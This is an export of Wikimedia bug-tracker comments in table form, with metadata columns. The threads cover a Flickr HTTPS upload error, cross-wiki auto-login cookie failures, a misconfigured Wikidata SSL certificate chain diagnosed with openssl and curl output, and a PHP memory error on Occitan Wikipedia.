+Reopening bug.",,,1354006639,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+194946,"""http-curl-error"" when uploading from Flickr from https","**sumanah** wrote:
+
+Can this fix be backported so that I can test the Flickr upload on test & test2, and see whether the proxy server issue is still reproducible?",,,1353984063,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+194940,"""http-curl-error"" when uploading from Flickr from https","Fixed in https://gerrit.wikimedia.org/r/#/c/35339/.
+
+Issue with proxy server should be filed as a separate bug.",,,1353981491,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
+194936,"""http-curl-error"" when uploading from Flickr from https","Looks like switching the API URL to secure causes Flickr to return secure URLs for the images, which then breaks our proxy downloading. (The Wikimedia proxy server currently can't handle HTTPS requests.)",,,1353979713,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-4sdb6nq7gfnlb3pk4yfp,task_subcomment,,True,c2,1,False,,,-40,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+43610,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"Screenshot of the post-login screen on the English Wikipedia showing missing auto-login icons
+
+When I go to <https://en.wikipedia.org/w/index.php?title=Special:UserLogin> and successfully enter my username and password, the post-login screen isn't always loading all of the icons as it used to. This appears to have started today (October 31, 2012). I asked in #wikimedia-tech and another user (Danny B.) reported similar strangeness today.
+
+It _feels_ like the third-party cookie behavior has changed a bit and now browsers consider .wiktionary.org, etc. to be third-party and blocked when they were previously allowed. But I'm not sure.
+
+After submitting my username and password, I'm successfully logged in to en.wikipedia.org, but not to the other sites. Attaching a screenshot as well.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/index.php?title=Special:UserLogin
+
+**Attached**: {F9965}",High,80.0,1351729320,1368769918.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-tpznae55l4ucxj4o6res,task_description,resolved,True,c2,1,True,False,True,-43,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+195114,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"Marking this bug resolved/fixed. Denny certainly knows how to file a separate bug, as appropriate and necessary.",,,1368769918,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+195111,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"(In reply to comment #7)
+> Denny, is the issue you're having that you're being logged out of Wikidata?
+> Or that SUL isn't logging you into Wikidata in the first place?
+
+Denny: ping?",,,1368719306,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+195108,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"(In reply to comment #7)
+> Denny, is the issue you're having that you're being logged out of Wikidata?
+> Or that SUL isn't logging you into Wikidata in the first place?
+
+Denny: ping?",,,1366908527,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,1
+195103,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"The original issue reported by MZMcBride was a bug in a security patch, that was later reverted, so I know the original issue has been fixed.
+
+Denny, is the issue you're having that you're being logged out of Wikidata? Or that SUL isn't logging you into Wikidata in the first place?",,,1356138919,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-36,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+195100,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"I think I got it. I get logged out at www.wikidata.org, but I am logged in at en.wikidata.org and de.wikidata.org. Only when I go to www.wikidata.org, I am not logged in.
+
+So en.wikidata.org/wiki/Q1 : logged in. de.wikidata.org/wiki/Q1 : logged in. www.wikidata.org/wiki/Q1 : not logged in.
+
+When I click on ""Random page"" for some reason I land on www.wikidata.org but that seems like an unrelated issue. 
+
+I hope this helps.",,,1354536499,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-39,True,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+195094,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"Everything is fine in Safari 6 and Chrome 23. In Firefox 16 I can login to Wikidata, but then as soon as I click Special:RandomArticle, I am logged out again. This is not the case on en.wikipedia, where I stay logged in. All icons are displayed. It does not matter if I login on Wikidata or on en.wikipedia, I am logged in in Wikipedia, but not on Wikidata. No matter whether I use http or https.
+
+But I did the following. Logged in on de.wikipedia, I follow their link on the Main Page to Wikidata as a sister project, and I arrive on de.wikidata.org on the Main Page, logged in. From many links it works. I can go to recent changes, go to items, etc. and stay logged in. Only Special:RandomArticle kicks me out, and I am logged out.
+
+It is all a bit confusing, and I can not really see a pattern here.
+
+I am running MacOS 10.7.5.",,,1354535800,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-39,True,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+195088,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"For me it is the other way around. Firefox doesn't keep the login after I logged in, but in Chrome it works fine. All icons are displayed though.",,,1354534642,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-39,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+195081,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"I am getting all broken icons when logging into wikidata.  (not tried other wikis)  We've been having issues with people staying logged in.
+
+I can't seem to stay logged in as [[User:Aude]], especially in Chrome.  I seem to be able to login and stay logged in using Firefox and see the icons there.",,,1351747122,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-43,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+195072,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"We managed to reproduce this on James's computer in Safari, but not on my computer in Chrome.
+
+I ran a Wireshark trace on James's computer (because Safari's debugger is useless for this particular purpose) and noticed that the cookie that is being set in stage 1 is not being sent back by Safari in stage 3. The response to a cookieless stage 3 request appears to be an error page. This is bad because 1) it's HTML while the browser is expecting an image and 2) it has a 200 status code while IMO it should really be 403.
+
+It's not clear to me why these cookies are being dropped. If it's because of some 3rd-party cookie restriction, that should have been happening before today's changes as well, although the failure would have been less conspicuous: the images would still load, but the cookies wouldn't, so you would just have had broken SUL behavior but still have seen shiny images.",,,1351734221,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,False,,,-43,True,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+195068,Auto-login to other Wikimedia Foundation projects is funky (icons not always loading),"I'm getting the same broken behavior (icons not loading) in Safari, Firefox, and Google Chrome on multiple computers and this just started today, as noted in comment 0. This leads me to believe that some change from today (cf. <http://wikitech.wikimedia.org/index.php?title=Server_admin_log&oldid=53070#October_31>) is to blame, though I don't see any CentralAuth changes in the log off-hand.",,,1351729902,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tpznae55l4ucxj4o6res,task_subcomment,,True,c2,1,True,,,-43,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1
+43437,Wikidata.org is using the SSL certificate for *.wikimedia.org,"Wikidata.org is using the SSL certificate for *.wikimedia.org
+
+Reedy says this is RT #3803, creating bug here so no one else does.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1351286160,1366938213.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,,False,PHID-TASK-tbrir7a33onbjeho4xwr,task_description,resolved,True,c2,1,True,False,True,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+183879,Wikidata.org is using the SSL certificate for *.wikimedia.org,Verified in Wikidata demo time,,,1378307160,,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+183872,Wikidata.org is using the SSL certificate for *.wikimedia.org,"openssl s_client -CAfile /etc/ssl/certs/ca-certificates.crt -connect www.wikidata.org:443
+
+Certificate chain
+ 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikipedia.org
+   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
+ 1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
+   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA
+
+    Verify return code: 0 (ok)",,,1366938159,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+183861,Wikidata.org is using the SSL certificate for *.wikimedia.org,"dzahn: Could you take a look at comment 13, please (as you reviewed the initial patch in comment 12)?",,,1366907051,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+183854,Wikidata.org is using the SSL certificate for *.wikimedia.org,"(In reply to comment #12)
+> RT #3803 resolved, https://gerrit.wikimedia.org/r/#/c/30307/ merged.
+> Closing too, thanks for the ping.
+
+IMHO the diff doesn't look like a fix :(
+
+If my understanding is correct, currently the certificate chain would let OpenSSL fail to verify the server certificate:
+
+$ openssl s_client -CAfile /etc/ssl/certs/ca-certificates.crt -connect www.wikidata.org:443
+CONNECTED(00000003)
+depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
+verify error:num=20:unable to get local issuer certificate
+verify return:1
+depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
+verify error:num=27:certificate not trusted
+verify return:1
+depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikidata.org
+verify error:num=21:unable to verify the first certificate
+verify return:1
+---
+Certificate chain
+ 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
+   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
+ 1 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
+   i:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
+^^^
+  This is wrong.
+
+  It should be the issuer for cert 0, not a random CA that has nothing to do with the previous cert.
+
+---
+Server certificate
+-----BEGIN CERTIFICATE-----
+[...cut...]
+-----END CERTIFICATE-----
+subject=/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
+issuer=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
+---
+No client certificate CA names sent
+---
+SSL handshake has read 3159 bytes and written 542 bytes
+---
+New, TLSv1/SSLv3, Cipher is RC4-SHA
+[...cut...]
+    Verify return code: 21 (unable to verify the first certificate)
+---
+QUIT
+DONE
+$ 
+
+Reopening again.",,,1354282713,,PHID-USER-gct3jslngczd4jvmyy6e,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+183849,Wikidata.org is using the SSL certificate for *.wikimedia.org,"RT #3803 resolved, https://gerrit.wikimedia.org/r/#/c/30307/ merged.
+Closing too, thanks for the ping.",,,1354281045,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+183845,Wikidata.org is using the SSL certificate for *.wikimedia.org,Is this still open?,,,1354271269,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+183841,Wikidata.org is using the SSL certificate for *.wikimedia.org,"I see this bug is now tagged with the ""shell"" keyword. I wonder if it should actually be tagged with the ""ops"" keyword instead.",,,1353704583,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-40,True,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+183837,Wikidata.org is using the SSL certificate for *.wikimedia.org,"The certificate chain seems to be erroneously configured, a wrong CA ""Wikimedia CA"" is being appended to the chain instead of the issuer ""DigiCert High Assurance CA-3"":
+
+---
+Certificate chain
+ 0 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation, Inc./CN=*.wikidata.org
+   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
+ 1 s:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
+   i:/C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/CN=Wikimedia CA
+---
+
+Therefore:
+
+$ curl -v https://www.wikidata.org
+* About to connect() to www.wikidata.org port 443 (#0)
+*   Trying 2620:0:861:ed1a::12...
+* connected
+[...cut...]
+* SSLv3, TLS alert, Server hello (2):
+* SSL certificate problem: unable to get local issuer certificate
+* Closing connection #0",,,1353416642,,PHID-USER-gct3jslngczd4jvmyy6e,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-41,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+183832,Wikidata.org is using the SSL certificate for *.wikimedia.org,"* https://wikidata.org
+* https://www.wikidata.org
+* https://example.wikidata.org
+* https://fr.wikidata.org",,,1351544273,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+183827,Wikidata.org is using the SSL certificate for *.wikimedia.org,"<Krenair> Ah so wikidata SSL is working now
+<^demon> Krenair: For wikidata.org & www.wikidata.org. Lang subdomains need a little further tweaking.
+<^demon> Krenair: Apache config is correct. It needs further DNS work.
+
+And Wikidata SUL autologin has been re-enabled with Gerrit change 30623.",,,1351534738,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+183821,Wikidata.org is using the SSL certificate for *.wikimedia.org,I've disabled auto-login to .wikidata.org until we fix SSL.,,,1351516871,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+183817,Wikidata.org is using the SSL certificate for *.wikimedia.org,*** Bug 41486 has been marked as a duplicate of this bug. ***,,,1351515542,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+183811,Wikidata.org is using the SSL certificate for *.wikimedia.org,"(In reply to comment #3)
+> Knocking down to normal/normal as it's not a high priority as it's currently a
+> test site
+
+It is a test site, but due to SUL und the image after login and logout you will get a error in the browser (at least IE), which can make wmf wikis (except wikidata) feeling untrusted by other users. So this should fixed asap.",,,1351409516,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,False,,,-44,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+183804,Wikidata.org is using the SSL certificate for *.wikimedia.org,"(In reply to comment #2)
+> Doesn't seem to have fixed it... Or just hasn't been deployed.
+
+It was a guess as it looked spurious. Daniel did confirm it was supposed to be deployed by puppet, and then restarted the ssl proxies/terminators
+
+
+Knocking down to normal/normal as it's not a high priority as it's currently a test site",,,1351377712,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+183801,Wikidata.org is using the SSL certificate for *.wikimedia.org,Doesn't seem to have fixed it... Or just hasn't been deployed.,,,1351377062,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+183797,Wikidata.org is using the SSL certificate for *.wikimedia.org,https://gerrit.wikimedia.org/r/#/c/30307/,,,1351294636,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tbrir7a33onbjeho4xwr,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+43115,some pages return HTTP 500 on oc.wikipedia,"https://oc.wikipedia.org/wiki/Sent_Medard_de_Moissida
+https://oc.wikipedia.org/wiki/Sent_Privat_daus_Prats
+https://oc.wikipedia.org/wiki/Sent_Sieurin_de_Prats
+https://oc.wikipedia.org/wiki/Sarlanda
+https://oc.wikipedia.org/wiki/Sodac
+etc...
+
+https://oc.wikipedia.org/wiki/Sent_Medard_de_Moissida?printable=yes return:
+PHP fatal error in /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php line 908:
+Allowed memory size of 134217728 bytes exhausted (tried to allocate 499456 bytes)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1350493260,1362732997.0,PHID-USER-vrkdtwc5nsmxyre6v7dq,False,,False,PHID-TASK-empuy7qo3prhivzgt5yf,task_description,declined,True,c2,1,False,False,True,-45,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
